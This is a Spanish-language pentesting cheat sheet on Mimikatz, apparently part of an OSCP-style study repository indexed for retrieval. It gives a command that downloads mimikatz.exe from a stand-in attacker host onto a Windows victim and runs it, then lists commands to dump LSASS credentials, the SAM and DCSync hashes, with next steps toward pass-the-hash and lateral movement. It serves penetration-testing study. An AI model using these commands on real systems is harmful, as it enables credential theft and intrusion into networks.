7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
943 B
943 B
Mimikatz
Un .exe que corre DENTRO de la víctima Windows (no en Kali). Lee la memoria de LSASS y vuelca credenciales. En
tu carpeta.
Subir y ejecutar
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe # Transferencia de ficheros
C:\Windows\Temp\m.exe
Comandos clave (dentro de mimikatz)
privilege::debug # imprescindible primero
sekurlsa::logonpasswords # hashes NTLM, tickets, a veces pass en claro (wdigest)
lsadump::sam # SAM local
lsadump::dcsync /user:Administrator # DCSync (si tienes permisos de replicación)
Requisito
Necesitas ser admin/SYSTEM en la máquina (Privesc Windows / Potato attacks).
Después
- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
- Pregúntale a BloodHound qué hacer con ese usuario.
Relacionado: Kerberos · secretsdump · OSCP MOC